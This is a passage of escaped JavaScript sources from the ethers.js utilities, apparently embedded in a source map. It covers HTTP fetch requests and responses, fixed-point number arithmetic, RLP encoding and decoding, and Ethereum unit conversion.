FetchResponse(0, \"\", {}, null, this));\n }\n /**\n * Cancels the inflight response, causing a ``CANCELLED``\n * error to be rejected from the [[send]].\n */\n cancel() {\n assert(this.#signal != null, \"request has not been sent\", \"UNSUPPORTED_OPERATION\", { operation: \"fetchRequest.cancel\" });\n const signal = fetchSignals.get(this);\n if (!signal) {\n throw new Error(\"missing signal; should not happen\");\n }\n signal();\n }\n /**\n * Returns a new [[FetchRequest]] that represents the redirection\n * to %%location%%.\n */\n redirect(location) {\n // Redirection; for now we only support absolute locations\n const current = this.url.split(\":\")[0].toLowerCase();\n const target = location.split(\":\")[0].toLowerCase();\n // Don't allow redirecting:\n // - non-GET requests\n // - downgrading the security (e.g. https => http)\n // - to non-HTTP (or non-HTTPS) protocols [this could be relaxed?]\n assert(this.method === \"GET\" && (current !== \"https\" || target !== \"http\") && location.match(/^https?:/), `unsupported redirect`, \"UNSUPPORTED_OPERATION\", {\n operation: `redirect(${this.method} ${JSON.stringify(this.url)} => ${JSON.stringify(location)})`\n });\n // Create a copy of this request, with a new URL\n const req = new FetchRequest(location);\n req.method = \"GET\";\n req.allowGzip = this.allowGzip;\n req.timeout = this.timeout;\n req.#headers = Object.assign({}, this.#headers);\n if (this.#body) {\n req.#body = new Uint8Array(this.#body);\n }\n req.#bodyType = this.#bodyType;\n // Do not forward credentials unless on the same domain; only absolute\n //req.allowInsecure = false;\n // paths are currently supported; may want a way to specify to forward?\n //setStore(req.#props, \"creds\", getStore(this.#pros, \"creds\"));\n return req;\n }\n /**\n * Create a new copy of this request.\n */\n clone() {\n const clone = new FetchRequest(this.url);\n // Preserve \"default method\" (i.e. null)\n clone.#method = this.#method;\n // Preserve \"default body\" with type, copying the Uint8Array is present\n if (this.#body) {\n clone.#body = this.#body;\n }\n clone.#bodyType = this.#bodyType;\n // Preserve \"default headers\"\n clone.#headers = Object.assign({}, this.#headers);\n // Credentials is readonly, so we copy internally\n clone.#creds = this.#creds;\n if (this.allowGzip) {\n clone.allowGzip = true;\n }\n clone.timeout = this.timeout;\n if (this.allowInsecureAuthentication) {\n clone.allowInsecureAuthentication = true;\n }\n clone.#preflight = this.#preflight;\n clone.#process = this.#process;\n clone.#retry = this.#retry;\n clone.#throttle = Object.assign({}, this.#throttle);\n clone.#getUrlFunc = this.#getUrlFunc;\n return clone;\n }\n /**\n * Locks all static configuration for gateways and FetchGetUrlFunc\n * registration.\n */\n static lockConfig() {\n locked = true;\n }\n /**\n * Get the current Gateway function for %%scheme%%.\n */\n static getGateway(scheme) {\n return Gateways[scheme.toLowerCase()] || null;\n }\n /**\n * Use the %%func%% when fetching URIs using %%scheme%%.\n *\n * This method affects all requests globally.\n *\n * If [[lockConfig]] has been called, no change is made and this\n * throws.\n */\n static registerGateway(scheme, func) {\n scheme = scheme.toLowerCase();\n if (scheme === \"http\" || scheme === \"https\") {\n throw new Error(`cannot intercept ${scheme}; use registerGetUrl`);\n }\n if (locked) {\n throw new Error(\"gateways locked\");\n }\n Gateways[scheme] = func;\n }\n /**\n * Use %%getUrl%% when fetching URIs over HTTP and HTTPS requests.\n *\n * This method affects all requests globally.\n *\n * If [[lockConfig]] has been called, no change is made and this\n * throws.\n */\n static registerGetUrl(getUrl) {\n if (locked) {\n throw new Error(\"gateways locked\");\n }\n defaultGetUrlFunc = getUrl;\n }\n /**\n * Creates a getUrl function that fetches content from HTTP and\n * HTTPS URLs.\n *\n * The available %%options%% are dependent on the platform\n * implementation of the default getUrl function.\n *\n * This is not generally something that is needed, but is useful\n * when trying to customize simple behaviour when fetching HTTP\n * content.\n */\n static createGetUrlFunc(options) {\n return createGetUrl(options);\n }\n /**\n * Creates a function that can \"fetch\" data URIs.\n *\n * Note that this is automatically done internally to support\n * data URIs, so it is not necessary to register it.\n *\n * This is not generally something that is needed, but may\n * be useful in a wrapper to perfom custom data URI functionality.\n */\n static createDataGateway() {\n return dataGatewayFunc;\n }\n /**\n * Creates a function that will fetch IPFS (unvalidated) from\n * a custom gateway baseUrl.\n *\n * The default IPFS gateway used internally is\n * ``\"https:/\\/gateway.ipfs.io/ipfs/\"``.\n */\n static createIpfsGatewayFunc(baseUrl) {\n return getIpfsGatewayFunc(baseUrl);\n }\n}\n;\n/**\n * The response for a FetchRequest.\n */\nexport class FetchResponse {\n #statusCode;\n #statusMessage;\n #headers;\n #body;\n #request;\n #error;\n toString() {\n return ``;\n }\n /**\n * The response status code.\n */\n get statusCode() { return this.#statusCode; }\n /**\n * The response status message.\n */\n get statusMessage() { return this.#statusMessage; }\n /**\n * The response headers. All keys are lower-case.\n */\n get headers() { return Object.assign({}, this.#headers); }\n /**\n * The response body, or ``null`` if there was no body.\n */\n get body() {\n return (this.#body == null) ? null : new Uint8Array(this.#body);\n }\n /**\n * The response body as a UTF-8 encoded string, or the empty\n * string (i.e. ``\"\"``) if there was no body.\n *\n * An error is thrown if the body is invalid UTF-8 data.\n */\n get bodyText() {\n try {\n return (this.#body == null) ? \"\" : toUtf8String(this.#body);\n }\n catch (error) {\n assert(false, \"response body is not valid UTF-8 data\", \"UNSUPPORTED_OPERATION\", {\n operation: \"bodyText\", info: { response: this }\n });\n }\n }\n /**\n * The response body, decoded as JSON.\n *\n * An error is thrown if the body is invalid JSON-encoded data\n * or if there was no body.\n */\n get bodyJson() {\n try {\n return JSON.parse(this.bodyText);\n }\n catch (error) {\n assert(false, \"response body is not valid JSON\", \"UNSUPPORTED_OPERATION\", {\n operation: \"bodyJson\", info: { response: this }\n });\n }\n }\n [Symbol.iterator]() {\n const headers = this.headers;\n const keys = Object.keys(headers);\n let index = 0;\n return {\n next: () => {\n if (index < keys.length) {\n const key = keys[index++];\n return {\n value: [key, headers[key]], done: false\n };\n }\n return { value: undefined, done: true };\n }\n };\n }\n constructor(statusCode, statusMessage, headers, body, request) {\n this.#statusCode = statusCode;\n this.#statusMessage = statusMessage;\n this.#headers = Object.keys(headers).reduce((accum, k) => {\n accum[k.toLowerCase()] = String(headers[k]);\n return accum;\n }, {});\n this.#body = ((body == null) ? null : new Uint8Array(body));\n this.#request = (request || null);\n this.#error = { message: \"\" };\n }\n /**\n * Return a Response with matching headers and body, but with\n * an error status code (i.e. 599) and %%message%% with an\n * optional %%error%%.\n */\n makeServerError(message, error) {\n let statusMessage;\n if (!message) {\n message = `${this.statusCode} ${this.statusMessage}`;\n statusMessage = `CLIENT ESCALATED SERVER ERROR (${message})`;\n }\n else {\n statusMessage = `CLIENT ESCALATED SERVER ERROR (${this.statusCode} ${this.statusMessage}; ${message})`;\n }\n const response = new FetchResponse(599, statusMessage, this.headers, this.body, this.#request || undefined);\n response.#error = { message, error };\n return response;\n }\n /**\n * If called within a [request.processFunc](FetchRequest-processFunc)\n * call, causes the request to retry as if throttled for %%stall%%\n * milliseconds.\n */\n throwThrottleError(message, stall) {\n if (stall == null) {\n stall = -1;\n }\n else {\n assertArgument(Number.isInteger(stall) && stall >= 0, \"invalid stall timeout\", \"stall\", stall);\n }\n const error = new Error(message || \"throttling requests\");\n defineProperties(error, { stall, throttle: true });\n throw error;\n }\n /**\n * Get the header value for %%key%%, ignoring case.\n */\n getHeader(key) {\n return this.headers[key.toLowerCase()];\n }\n /**\n * Returns true if the response has a body.\n */\n hasBody() {\n return (this.#body != null);\n }\n /**\n * The request made for this response.\n */\n get request() { return this.#request; }\n /**\n * Returns true if this response was a success statusCode.\n */\n ok() {\n return (this.#error.message === \"\" && this.statusCode >= 200 && this.statusCode < 300);\n }\n /**\n * Throws a ``SERVER_ERROR`` if this response is not ok.\n */\n assertOk() {\n if (this.ok()) {\n return;\n }\n let { message, error } = this.#error;\n if (message === \"\") {\n message = `server response ${this.statusCode} ${this.statusMessage}`;\n }\n let requestUrl = null;\n if (this.request) {\n requestUrl = this.request.url;\n }\n let responseBody = null;\n try {\n if (this.#body) {\n responseBody = toUtf8String(this.#body);\n }\n }\n catch (e) { }\n assert(false, message, \"SERVER_ERROR\", {\n request: (this.request || \"unknown request\"), response: this, error,\n info: {\n requestUrl, responseBody,\n responseStatus: `${this.statusCode} ${this.statusMessage}`\n }\n });\n }\n}\nfunction getTime() { return (new Date()).getTime(); }\nfunction unpercent(value) {\n return toUtf8Bytes(value.replace(/%([0-9a-f][0-9a-f])/gi, (all, code) => {\n return String.fromCharCode(parseInt(code, 16));\n }));\n}\nfunction wait(delay) {\n return new Promise((resolve) => setTimeout(resolve, delay));\n}\n//# sourceMappingURL=fetch.js.map","/**\n * The **FixedNumber** class permits using values with decimal places,\n * using fixed-pont math.\n *\n * Fixed-point math is still based on integers under-the-hood, but uses an\n * internal offset to store fractional components below, and each operation\n * corrects for this after each operation.\n *\n * @_section: api/utils/fixed-point-math:Fixed-Point Maths [about-fixed-point-math]\n */\nimport { getBytes } from \"./data.js\";\nimport { assert, assertArgument, assertPrivate } from \"./errors.js\";\nimport { getBigInt, getNumber, fromTwos, mask, toBigInt } from \"./maths.js\";\nimport { defineProperties } from \"./properties.js\";\nconst BN_N1 = BigInt(-1);\nconst BN_0 = BigInt(0);\nconst BN_1 = BigInt(1);\nconst BN_5 = BigInt(5);\nconst _guard = {};\n// Constant to pull zeros from for multipliers\nlet Zeros = \"0000\";\nwhile (Zeros.length < 80) {\n Zeros += Zeros;\n}\n// Returns a string \"1\" followed by decimal \"0\"s\nfunction getTens(decimals) {\n let result = Zeros;\n while (result.length < decimals) {\n result += result;\n }\n return BigInt(\"1\" + result.substring(0, decimals));\n}\nfunction checkValue(val, format, safeOp) {\n const width = BigInt(format.width);\n if (format.signed) {\n const limit = (BN_1 << (width - BN_1));\n assert(safeOp == null || (val >= -limit && val < limit), \"overflow\", \"NUMERIC_FAULT\", {\n operation: safeOp, fault: \"overflow\", value: val\n });\n if (val > BN_0) {\n val = fromTwos(mask(val, width), width);\n }\n else {\n val = -fromTwos(mask(-val, width), width);\n }\n }\n else {\n const limit = (BN_1 << width);\n assert(safeOp == null || (val >= 0 && val < limit), \"overflow\", \"NUMERIC_FAULT\", {\n operation: safeOp, fault: \"overflow\", value: val\n });\n val = (((val % limit) + limit) % limit) & (limit - BN_1);\n }\n return val;\n}\nfunction getFormat(value) {\n if (typeof (value) === \"number\") {\n value = `fixed128x${value}`;\n }\n let signed = true;\n let width = 128;\n let decimals = 18;\n if (typeof (value) === \"string\") {\n // Parse the format string\n if (value === \"fixed\") {\n // defaults...\n }\n else if (value === \"ufixed\") {\n signed = false;\n }\n else {\n const match = value.match(/^(u?)fixed([0-9]+)x([0-9]+)$/);\n assertArgument(match, \"invalid fixed format\", \"format\", value);\n signed = (match[1] !== \"u\");\n width = parseInt(match[2]);\n decimals = parseInt(match[3]);\n }\n }\n else if (value) {\n // Extract the values from the object\n const v = value;\n const check = (key, type, defaultValue) => {\n if (v[key] == null) {\n return defaultValue;\n }\n assertArgument(typeof (v[key]) === type, \"invalid fixed format (\" + key + \" not \" + type + \")\", \"format.\" + key, v[key]);\n return v[key];\n };\n signed = check(\"signed\", \"boolean\", signed);\n width = check(\"width\", \"number\", width);\n decimals = check(\"decimals\", \"number\", decimals);\n }\n assertArgument((width % 8) === 0, \"invalid FixedNumber width (not byte aligned)\", \"format.width\", width);\n assertArgument(decimals <= 80, \"invalid FixedNumber decimals (too large)\", \"format.decimals\", decimals);\n const name = (signed ? \"\" : \"u\") + \"fixed\" + String(width) + \"x\" + String(decimals);\n return { signed, width, decimals, name };\n}\nfunction toString(val, decimals) {\n let negative = \"\";\n if (val < BN_0) {\n negative = \"-\";\n val *= BN_N1;\n }\n let str = val.toString();\n // No decimal point for whole values\n if (decimals === 0) {\n return (negative + str);\n }\n // Pad out to the whole component (including a whole digit)\n while (str.length <= decimals) {\n str = Zeros + str;\n }\n // Insert the decimal point\n const index = str.length - decimals;\n str = str.substring(0, index) + \".\" + str.substring(index);\n // Trim the whole component (leaving at least one 0)\n while (str[0] === \"0\" && str[1] !== \".\") {\n str = str.substring(1);\n }\n // Trim the decimal component (leaving at least one 0)\n while (str[str.length - 1] === \"0\" && str[str.length - 2] !== \".\") {\n str = str.substring(0, str.length - 1);\n }\n return (negative + str);\n}\n/**\n * A FixedNumber represents a value over its [[FixedFormat]]\n * arithmetic field.\n *\n * A FixedNumber can be used to perform math, losslessly, on\n * values which have decmial places.\n *\n * A FixedNumber has a fixed bit-width to store values in, and stores all\n * values internally by multiplying the value by 10 raised to the power of\n * %%decimals%%.\n *\n * If operations are performed that cause a value to grow too high (close to\n * positive infinity) or too low (close to negative infinity), the value\n * is said to //overflow//.\n *\n * For example, an 8-bit signed value, with 0 decimals may only be within\n * the range ``-128`` to ``127``; so ``-128 - 1`` will overflow and become\n * ``127``. Likewise, ``127 + 1`` will overflow and become ``-127``.\n *\n * Many operation have a normal and //unsafe// variant. The normal variant\n * will throw a [[NumericFaultError]] on any overflow, while the //unsafe//\n * variant will silently allow overflow, corrupting its value value.\n *\n * If operations are performed that cause a value to become too small\n * (close to zero), the value loses precison and is said to //underflow//.\n *\n * For example, a value with 1 decimal place may store a number as small\n * as ``0.1``, but the value of ``0.1 / 2`` is ``0.05``, which cannot fit\n * into 1 decimal place, so underflow occurs which means precision is lost\n * and the value becomes ``0``.\n *\n * Some operations have a normal and //signalling// variant. The normal\n * variant will silently ignore underflow, while the //signalling// variant\n * will thow a [[NumericFaultError]] on underflow.\n */\nexport class FixedNumber {\n /**\n * The specific fixed-point arithmetic field for this value.\n */\n format;\n #format;\n // The actual value (accounting for decimals)\n #val;\n // A base-10 value to multiple values by to maintain the magnitude\n #tens;\n /**\n * This is a property so console.log shows a human-meaningful value.\n *\n * @private\n */\n _value;\n // Use this when changing this file to get some typing info,\n // but then switch to any to mask the internal type\n //constructor(guard: any, value: bigint, format: _FixedFormat) {\n /**\n * @private\n */\n constructor(guard, value, format) {\n assertPrivate(guard, _guard, \"FixedNumber\");\n this.#val = value;\n this.#format = format;\n const _value = toString(value, format.decimals);\n defineProperties(this, { format: format.name, _value });\n this.#tens = getTens(format.decimals);\n }\n /**\n * If true, negative values are permitted, otherwise only\n * positive values and zero are allowed.\n */\n get signed() { return this.#format.signed; }\n /**\n * The number of bits available to store the value.\n */\n get width() { return this.#format.width; }\n /**\n * The number of decimal places in the fixed-point arithment field.\n */\n get decimals() { return this.#format.decimals; }\n /**\n * The value as an integer, based on the smallest unit the\n * [[decimals]] allow.\n */\n get value() { return this.#val; }\n #checkFormat(other) {\n assertArgument(this.format === other.format, \"incompatible format; use fixedNumber.toFormat\", \"other\", other);\n }\n #checkValue(val, safeOp) {\n /*\n const width = BigInt(this.width);\n if (this.signed) {\n const limit = (BN_1 << (width - BN_1));\n assert(safeOp == null || (val >= -limit && val < limit), \"overflow\", \"NUMERIC_FAULT\", {\n operation: safeOp, fault: \"overflow\", value: val\n });\n \n if (val > BN_0) {\n val = fromTwos(mask(val, width), width);\n } else {\n val = -fromTwos(mask(-val, width), width);\n }\n \n } else {\n const masked = mask(val, width);\n assert(safeOp == null || (val >= 0 && val === masked), \"overflow\", \"NUMERIC_FAULT\", {\n operation: safeOp, fault: \"overflow\", value: val\n });\n val = masked;\n }\n */\n val = checkValue(val, this.#format, safeOp);\n return new FixedNumber(_guard, val, this.#format);\n }\n #add(o, safeOp) {\n this.#checkFormat(o);\n return this.#checkValue(this.#val + o.#val, safeOp);\n }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% added\n * to %%other%%, ignoring overflow.\n */\n addUnsafe(other) { return this.#add(other); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% added\n * to %%other%%. A [[NumericFaultError]] is thrown if overflow\n * occurs.\n */\n add(other) { return this.#add(other, \"add\"); }\n #sub(o, safeOp) {\n this.#checkFormat(o);\n return this.#checkValue(this.#val - o.#val, safeOp);\n }\n /**\n * Returns a new [[FixedNumber]] with the result of %%other%% subtracted\n * from %%this%%, ignoring overflow.\n */\n subUnsafe(other) { return this.#sub(other); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%other%% subtracted\n * from %%this%%. A [[NumericFaultError]] is thrown if overflow\n * occurs.\n */\n sub(other) { return this.#sub(other, \"sub\"); }\n #mul(o, safeOp) {\n this.#checkFormat(o);\n return this.#checkValue((this.#val * o.#val) / this.#tens, safeOp);\n }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% multiplied\n * by %%other%%, ignoring overflow and underflow (precision loss).\n */\n mulUnsafe(other) { return this.#mul(other); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% multiplied\n * by %%other%%. A [[NumericFaultError]] is thrown if overflow\n * occurs.\n */\n mul(other) { return this.#mul(other, \"mul\"); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% multiplied\n * by %%other%%. A [[NumericFaultError]] is thrown if overflow\n * occurs or if underflow (precision loss) occurs.\n */\n mulSignal(other) {\n this.#checkFormat(other);\n const value = this.#val * other.#val;\n assert((value % this.#tens) === BN_0, \"precision lost during signalling mul\", \"NUMERIC_FAULT\", {\n operation: \"mulSignal\", fault: \"underflow\", value: this\n });\n return this.#checkValue(value / this.#tens, \"mulSignal\");\n }\n #div(o, safeOp) {\n assert(o.#val !== BN_0, \"division by zero\", \"NUMERIC_FAULT\", {\n operation: \"div\", fault: \"divide-by-zero\", value: this\n });\n this.#checkFormat(o);\n return this.#checkValue((this.#val * this.#tens) / o.#val, safeOp);\n }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% divided\n * by %%other%%, ignoring underflow (precision loss). A\n * [[NumericFaultError]] is thrown if overflow occurs.\n */\n divUnsafe(other) { return this.#div(other); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% divided\n * by %%other%%, ignoring underflow (precision loss). A\n * [[NumericFaultError]] is thrown if overflow occurs.\n */\n div(other) { return this.#div(other, \"div\"); }\n /**\n * Returns a new [[FixedNumber]] with the result of %%this%% divided\n * by %%other%%. A [[NumericFaultError]] is thrown if underflow\n * (precision loss) occurs.\n */\n divSignal(other) {\n assert(other.#val !== BN_0, \"division by zero\", \"NUMERIC_FAULT\", {\n operation: \"div\", fault: \"divide-by-zero\", value: this\n });\n this.#checkFormat(other);\n const value = (this.#val * this.#tens);\n assert((value % other.#val) === BN_0, \"precision lost during signalling div\", \"NUMERIC_FAULT\", {\n operation: \"divSignal\", fault: \"underflow\", value: this\n });\n return this.#checkValue(value / other.#val, \"divSignal\");\n }\n /**\n * Returns a comparison result between %%this%% and %%other%%.\n *\n * This is suitable for use in sorting, where ``-1`` implies %%this%%\n * is smaller, ``1`` implies %%this%% is larger and ``0`` implies\n * both are equal.\n */\n cmp(other) {\n let a = this.value, b = other.value;\n // Coerce a and b to the same magnitude\n const delta = this.decimals - other.decimals;\n if (delta > 0) {\n b *= getTens(delta);\n }\n else if (delta < 0) {\n a *= getTens(-delta);\n }\n // Comnpare\n if (a < b) {\n return -1;\n }\n if (a > b) {\n return 1;\n }\n return 0;\n }\n /**\n * Returns true if %%other%% is equal to %%this%%.\n */\n eq(other) { return this.cmp(other) === 0; }\n /**\n * Returns true if %%other%% is less than to %%this%%.\n */\n lt(other) { return this.cmp(other) < 0; }\n /**\n * Returns true if %%other%% is less than or equal to %%this%%.\n */\n lte(other) { return this.cmp(other) <= 0; }\n /**\n * Returns true if %%other%% is greater than to %%this%%.\n */\n gt(other) { return this.cmp(other) > 0; }\n /**\n * Returns true if %%other%% is greater than or equal to %%this%%.\n */\n gte(other) { return this.cmp(other) >= 0; }\n /**\n * Returns a new [[FixedNumber]] which is the largest **integer**\n * that is less than or equal to %%this%%.\n *\n * The decimal component of the result will always be ``0``.\n */\n floor() {\n let val = this.#val;\n if (this.#val < BN_0) {\n val -= this.#tens - BN_1;\n }\n val = (this.#val / this.#tens) * this.#tens;\n return this.#checkValue(val, \"floor\");\n }\n /**\n * Returns a new [[FixedNumber]] which is the smallest **integer**\n * that is greater than or equal to %%this%%.\n *\n * The decimal component of the result will always be ``0``.\n */\n ceiling() {\n let val = this.#val;\n if (this.#val > BN_0) {\n val += this.#tens - BN_1;\n }\n val = (this.#val / this.#tens) * this.#tens;\n return this.#checkValue(val, \"ceiling\");\n }\n /**\n * Returns a new [[FixedNumber]] with the decimal component\n * rounded up on ties at %%decimals%% places.\n */\n round(decimals) {\n if (decimals == null) {\n decimals = 0;\n }\n // Not enough precision to not already be rounded\n if (decimals >= this.decimals) {\n return this;\n }\n const delta = this.decimals - decimals;\n const bump = BN_5 * getTens(delta - 1);\n let value = this.value + bump;\n const tens = getTens(delta);\n value = (value / tens) * tens;\n checkValue(value, this.#format, \"round\");\n return new FixedNumber(_guard, value, this.#format);\n }\n /**\n * Returns true if %%this%% is equal to ``0``.\n */\n isZero() { return (this.#val === BN_0); }\n /**\n * Returns true if %%this%% is less than ``0``.\n */\n isNegative() { return (this.#val < BN_0); }\n /**\n * Returns the string representation of %%this%%.\n */\n toString() { return this._value; }\n /**\n * Returns a float approximation.\n *\n * Due to IEEE 754 precission (or lack thereof), this function\n * can only return an approximation and most values will contain\n * rounding errors.\n */\n toUnsafeFloat() { return parseFloat(this.toString()); }\n /**\n * Return a new [[FixedNumber]] with the same value but has had\n * its field set to %%format%%.\n *\n * This will throw if the value cannot fit into %%format%%.\n */\n toFormat(format) {\n return FixedNumber.fromString(this.toString(), format);\n }\n /**\n * Creates a new [[FixedNumber]] for %%value%% divided by\n * %%decimal%% places with %%format%%.\n *\n * This will throw a [[NumericFaultError]] if %%value%% (once adjusted\n * for %%decimals%%) cannot fit in %%format%%, either due to overflow\n * or underflow (precision loss).\n */\n static fromValue(_value, _decimals, _format) {\n const decimals = (_decimals == null) ? 0 : getNumber(_decimals);\n const format = getFormat(_format);\n let value = getBigInt(_value, \"value\");\n const delta = decimals - format.decimals;\n if (delta > 0) {\n const tens = getTens(delta);\n assert((value % tens) === BN_0, \"value loses precision for format\", \"NUMERIC_FAULT\", {\n operation: \"fromValue\", fault: \"underflow\", value: _value\n });\n value /= tens;\n }\n else if (delta < 0) {\n value *= getTens(-delta);\n }\n checkValue(value, format, \"fromValue\");\n return new FixedNumber(_guard, value, format);\n }\n /**\n * Creates a new [[FixedNumber]] for %%value%% with %%format%%.\n *\n * This will throw a [[NumericFaultError]] if %%value%% cannot fit\n * in %%format%%, either due to overflow or underflow (precision loss).\n */\n static fromString(_value, _format) {\n const match = _value.match(/^(-?)([0-9]*)\\.?([0-9]*)$/);\n assertArgument(match && (match[2].length + match[3].length) > 0, \"invalid FixedNumber string value\", \"value\", _value);\n const format = getFormat(_format);\n let whole = (match[2] || \"0\"), decimal = (match[3] || \"\");\n // Pad out the decimals\n while (decimal.length < format.decimals) {\n decimal += Zeros;\n }\n // Check precision is safe\n assert(decimal.substring(format.decimals).match(/^0*$/), \"too many decimals for format\", \"NUMERIC_FAULT\", {\n operation: \"fromString\", fault: \"underflow\", value: _value\n });\n // Remove extra padding\n decimal = decimal.substring(0, format.decimals);\n const value = BigInt(match[1] + whole + decimal);\n checkValue(value, format, \"fromString\");\n return new FixedNumber(_guard, value, format);\n }\n /**\n * Creates a new [[FixedNumber]] with the big-endian representation\n * %%value%% with %%format%%.\n *\n * This will throw a [[NumericFaultError]] if %%value%% cannot fit\n * in %%format%% due to overflow.\n */\n static fromBytes(_value, _format) {\n let value = toBigInt(getBytes(_value, \"value\"));\n const format = getFormat(_format);\n if (format.signed) {\n value = fromTwos(value, format.width);\n }\n checkValue(value, format, \"fromBytes\");\n return new FixedNumber(_guard, value, format);\n }\n}\n//const f1 = FixedNumber.fromString(\"12.56\", \"fixed16x2\");\n//const f2 = FixedNumber.fromString(\"0.3\", \"fixed16x2\");\n//console.log(f1.divSignal(f2));\n//const BUMP = FixedNumber.from(\"0.5\");\n//# sourceMappingURL=fixednumber.js.map","//See: https://github.com/ethereum/wiki/wiki/RLP\nimport { hexlify } from \"./data.js\";\nimport { assert, assertArgument } from \"./errors.js\";\nimport { getBytes } from \"./data.js\";\nfunction hexlifyByte(value) {\n let result = value.toString(16);\n while (result.length < 2) {\n result = \"0\" + result;\n }\n return \"0x\" + result;\n}\nfunction unarrayifyInteger(data, offset, length) {\n let result = 0;\n for (let i = 0; i < length; i++) {\n result = (result * 256) + data[offset + i];\n }\n return result;\n}\nfunction _decodeChildren(data, offset, childOffset, length) {\n const result = [];\n while (childOffset < offset + 1 + length) {\n const decoded = _decode(data, childOffset);\n result.push(decoded.result);\n childOffset += decoded.consumed;\n assert(childOffset <= offset + 1 + length, \"child data too short\", \"BUFFER_OVERRUN\", {\n buffer: data, length, offset\n });\n }\n return { consumed: (1 + length), result: result };\n}\n// returns { consumed: number, result: Object }\nfunction _decode(data, offset) {\n assert(data.length !== 0, \"data too short\", \"BUFFER_OVERRUN\", {\n buffer: data, length: 0, offset: 1\n });\n const checkOffset = (offset) => {\n assert(offset <= data.length, \"data short segment too short\", \"BUFFER_OVERRUN\", {\n buffer: data, length: data.length, offset\n });\n };\n // Array with extra length prefix\n if (data[offset] >= 0xf8) {\n const lengthLength = data[offset] - 0xf7;\n checkOffset(offset + 1 + lengthLength);\n const length = unarrayifyInteger(data, offset + 1, lengthLength);\n checkOffset(offset + 1 + lengthLength + length);\n return _decodeChildren(data, offset, offset + 1 + lengthLength, lengthLength + length);\n }\n else if (data[offset] >= 0xc0) {\n const length = data[offset] - 0xc0;\n checkOffset(offset + 1 + length);\n return _decodeChildren(data, offset, offset + 1, length);\n }\n else if (data[offset] >= 0xb8) {\n const lengthLength = data[offset] - 0xb7;\n checkOffset(offset + 1 + lengthLength);\n const length = unarrayifyInteger(data, offset + 1, lengthLength);\n checkOffset(offset + 1 + lengthLength + length);\n const result = hexlify(data.slice(offset + 1 + lengthLength, offset + 1 + lengthLength + length));\n return { consumed: (1 + lengthLength + length), result: result };\n }\n else if (data[offset] >= 0x80) {\n const length = data[offset] - 0x80;\n checkOffset(offset + 1 + length);\n const result = hexlify(data.slice(offset + 1, offset + 1 + length));\n return { consumed: (1 + length), result: result };\n }\n return { consumed: 1, result: hexlifyByte(data[offset]) };\n}\n/**\n * Decodes %%data%% into the structured data it represents.\n */\nexport function decodeRlp(_data) {\n const data = getBytes(_data, \"data\");\n const decoded = _decode(data, 0);\n assertArgument(decoded.consumed === data.length, \"unexpected junk after rlp payload\", \"data\", _data);\n return decoded.result;\n}\n//# sourceMappingURL=rlp-decode.js.map","//See: https://github.com/ethereum/wiki/wiki/RLP\nimport { getBytes } from \"./data.js\";\nfunction arrayifyInteger(value) {\n const result = [];\n while (value) {\n result.unshift(value & 0xff);\n value >>= 8;\n }\n return result;\n}\nfunction _encode(object) {\n if (Array.isArray(object)) {\n let payload = [];\n object.forEach(function (child) {\n payload = payload.concat(_encode(child));\n });\n if (payload.length <= 55) {\n payload.unshift(0xc0 + payload.length);\n return payload;\n }\n const length = arrayifyInteger(payload.length);\n length.unshift(0xf7 + length.length);\n return length.concat(payload);\n }\n const data = Array.prototype.slice.call(getBytes(object, \"object\"));\n if (data.length === 1 && data[0] <= 0x7f) {\n return data;\n }\n else if (data.length <= 55) {\n data.unshift(0x80 + data.length);\n return data;\n }\n const length = arrayifyInteger(data.length);\n length.unshift(0xb7 + length.length);\n return length.concat(data);\n}\nconst nibbles = \"0123456789abcdef\";\n/**\n * Encodes %%object%% as an RLP-encoded [[DataHexString]].\n */\nexport function encodeRlp(object) {\n let result = \"0x\";\n for (const v of _encode(object)) {\n result += nibbles[v >> 4];\n result += nibbles[v & 0xf];\n }\n return result;\n}\n//# sourceMappingURL=rlp-encode.js.map","/**\n * Most interactions with Ethereum requires integer values, which use\n * the smallest magnitude unit.\n *\n * For example, imagine dealing with dollars and cents. Since dollars\n * are divisible, non-integer values are possible, such as ``$10.77``.\n * By using the smallest indivisible unit (i.e. cents), the value can\n * be kept as the integer ``1077``.\n *\n * When receiving decimal input from the user (as a decimal string),\n * the value should be converted to an integer and when showing a user\n * a value, the integer value should be converted to a decimal string.\n *\n * This creates a clear distinction, between values to be used by code\n * (integers) and values used for display logic to users (decimals).\n *\n * The native unit in Ethereum, //ether// is divisible to 18 decimal places,\n * where each individual unit is called a //wei//.\n *\n * @_subsection api/utils:Unit Conversion [about-units]\n */\nimport { assertArgument } from \"./errors.js\";\nimport { FixedNumber } from \"./fixednumber.js\";\nimport { getNumber } from \"./maths.js\";\nconst names = [\n \"wei\",\n \"kwei\",\n \"mwei\",\n \"gwei\",\n \"szabo\",\n \"finney\",\n \"ether\",\n];\n/**\n * Converts %%value%% into a //decimal string//, assuming %%unit%% decimal\n * places. The %%unit%% may be the number of decimal places or the name of\n * a unit (e.g. ``\"gwei\"`` for 9 decimal places).\n *\n */\nexport function formatUnits(value, unit) {\n let decimals = 18;\n if (typeof (unit) === \"string\") {\n const index = names.indexOf(unit);\n assertArgument(index >= 0, \"invalid unit\", \"unit\", unit);\n decimals = 3 * index;\n }\n else if (unit != null) {\n decimals = getNumber(unit, \"unit\");\n }\n return FixedNumber.fromValue(value, decimals, { decimals, width: 512 }).toString();\n}\n/**\n * Converts the //decimal string// %%value%% to a BigInt, assuming\n * %%unit%% decimal places. The %%unit%% may the number of decimal places\n * or the name of a unit (e.g. ``\"gwei\"`` for 9 decimal places).\n */\nexport function parseUnits(value, unit) {\n assertArgument(typeof (value) === \"string\", \"value must be a string\", \"value\", value);\n let decimals = 18;\n if (typeof (unit) === \"string\") {\n const index = names.indexOf(unit);\n assertArgument(index >= 0, \"invalid unit\", \"unit\", unit);\n decimals = 3 * index;\n }\n else if (unit != null) {\n decimals = getNumber(unit, \"unit\");\n }\n return FixedNumber.fromString(value, { decimals, width: 512 }).value;\n}\n/**\n * Converts %%value%% into a //decimal string// using 18 decimal places.\n */\nexport function formatEther(wei) {\n return formatUnits(wei, 18);\n}\n/**\n * Converts the //decimal string// %%ether%% to a BigInt, using 18\n * decimal places.\n */\nexport function parseEther(ether) {\n return parseUnits(ether, 